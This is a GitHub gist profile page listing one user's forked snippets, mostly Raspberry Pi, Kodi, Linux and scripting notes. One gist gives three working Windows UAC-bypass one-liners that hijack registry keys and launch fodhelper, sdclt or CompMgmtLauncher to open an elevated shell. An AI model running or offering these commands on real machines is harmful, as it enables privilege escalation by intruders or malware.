Skip to content

Instantly share code, notes, and snippets.

View YourFriendCaspian's full-sized avatar
🙃
I'm sure I'll be slow to respond so don't be mad.

yourfriendcaspian YourFriendCaspian

🙃
I'm sure I'll be slow to respond so don't be mad.
View GitHub Profile
@YourFriendCaspian
YourFriendCaspian / kodi_install_rpi_bullseye.txt
Last active January 29, 2022 16:19 — forked from shivasiddharth/gist:1c457e62413e7a1441dcab11b0fe7757
Fix Kodi Raspberry Pi OS No installation candidate issue
sudo sh -c "echo 'deb http://ftp.us.debian.org/debian/ bullseye main contrib non-free' >> /etc/apt/sources.list"
sudo sh -c "echo 'deb http://deb.debian.org/debian bullseye main contrib non-free' >> /etc/apt/sources.list"
sudo apt-get update
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys XXXXXXXXXXXX
Replace XXXXXXXXXX with the first alphanumeric key.
sudo apt-get update
sudo apt-get install kodi
@YourFriendCaspian
YourFriendCaspian / noop_sync.vbs
Created January 25, 2022 15:48 — forked from j1n6/noop_sync.vbs
Powershell to sync and push to remote git repository via Windows Scheduled Tasks
' Hack to workaround the Powershell Console popup running on a Windows Scheduled Task
' Powershell limitations: https://github.com/PowerShell/PowerShell/issues/3028
'
' Add this file in the same git root directory as the sync.ps1
'
Dim shell,command
Dim oFSO : Set oFSO = CreateObject("Scripting.FileSystemObject")
Dim sScriptDir : sScriptDir = oFSO.GetParentFolderName(WScript.ScriptFullName)
command = "powershell.exe -nologo -File " & sScriptDir & "\sync.ps1"
@YourFriendCaspian
YourFriendCaspian / runit.md
Created October 30, 2021 12:12 — forked from brutella/runit.md
Get started with runit
@YourFriendCaspian
YourFriendCaspian / rotate_desktop.sh
Created October 30, 2021 12:10 — forked from BadException/rotate_desktop.sh
Script to rotate the screen and touch devices on modern Linux desktops. Great for convertible laptops.
#!/bin/bash
#
# rotate_desktop.sh
#
# Rotates modern Linux desktop screen and input devices to match. Handy for
# convertible notebooks. Call this script from panel launchers, keyboard
# shortcuts, or touch gesture bindings (xSwipe, touchegg, etc.).
#
# Using transformation matrix bits taken from:
# https://wiki.ubuntu.com/X/InputCoordinateTransformation
#!/bin/bash
# Automatically setup routing and DNS for a PiZero connected over a USB-network
# Based off https://gist.github.com/lurch/ad939bbce48064cffdb215268eac9f62
# Need to have booted PI Zero with config.txt option "dtoverlay=dwc2"
# and cmdline.txt parameter "modules-load=dwc2,g_ether"
# TODO
# Force PI to have fixed MAC address like e6:45:88:d0:85:46
# For now, edit cmdline.txt in the boot partition on the pi SD card, add:-
# g_ether.dev_addr=e6:45:88:d0:85:46
@YourFriendCaspian
YourFriendCaspian / infosec_newbie.md
Created October 17, 2021 14:13 — forked from mubix/infosec_newbie.md
How to start in Infosec
@YourFriendCaspian
YourFriendCaspian / .cmd
Created July 12, 2020 22:01 — forked from xillwillx/.cmd
UAC bypass methods with high integrity - credits to @enigma0x3 / @0rbz_ / @winscripting
**UAC bypass for Win10:**
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f
**UAC bypass for Win10:**
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f
**UAC bypass for 7/8/10:**
reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f && START /W CompMgmtLauncher.exe && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f
ssh [email protected]
nano /boot/config.txt
ctrl+w to find
Type: i2c_arm and add the uncommented lines underneath
## i2c_arm
## Enable the ARM's i2c interface
##
## Default off.
##
@YourFriendCaspian
YourFriendCaspian / HowToOTGFast.md
Created June 30, 2020 01:08 — forked from gbaman/HowToOTGFast.md
Simple guide for setting up OTG modes on the Raspberry Pi Zero, the fast way!

Setting up Pi Zero OTG - The quick way (No USB keyboard, mouse, HDMI monitor needed)

More details - http://blog.gbaman.info/?p=791

For this method, alongside your Pi Zero, MicroUSB cable and MicroSD card, only an additional computer is required, which can be running Windows (with Bonjour, iTunes or Quicktime installed), Mac OS or Linux (with Avahi Daemon installed, for example Ubuntu has it built in).
1. Flash Raspbian Jessie full or Raspbian Jessie Lite onto the SD card.
2. Once Raspbian is flashed, open up the boot partition (in Windows Explorer, Finder etc) and add to the bottom of the config.txt file dtoverlay=dwc2 on a new line, then save the file.
3. If using a recent release of Jessie (Dec 2016 onwards), then create a new file simply called ssh in the SD card as well. By default SSH i

@YourFriendCaspian
YourFriendCaspian / HowToOTG.md
Created June 30, 2020 01:07 — forked from gbaman/HowToOTG.md
Simple guide for setting up OTG modes on the Raspberry Pi Zero

Raspberry Pi Zero OTG Mode

Simple guide for setting up OTG modes on the Raspberry Pi Zero - By Andrew Mulholland (gbaman).

The Raspberry Pi Zero (and model A and A+) support USB On The Go, given the processor is connected directly to the USB port, unlike on the B, B+ or Pi 2 B, which goes via a USB hub.
Because of this, if setup to, the Pi can act as a USB slave instead, providing virtual serial (a terminal), virtual ethernet, virtual mass storage device (pendrive) or even other virtual devices like HID, MIDI, or act as a virtual webcam!
It is important to note that, although the model A and A+ can support being a USB slave, they are missing the ID pin (is tied to ground internally) so are unable to dynamically switch between USB master/slave mode. As such, they default to USB master mode. There is no easy way to change this right now.
It is also important to note, that a USB to UART serial adapter is not needed for any of these guides, as may be documented elsewhere across the int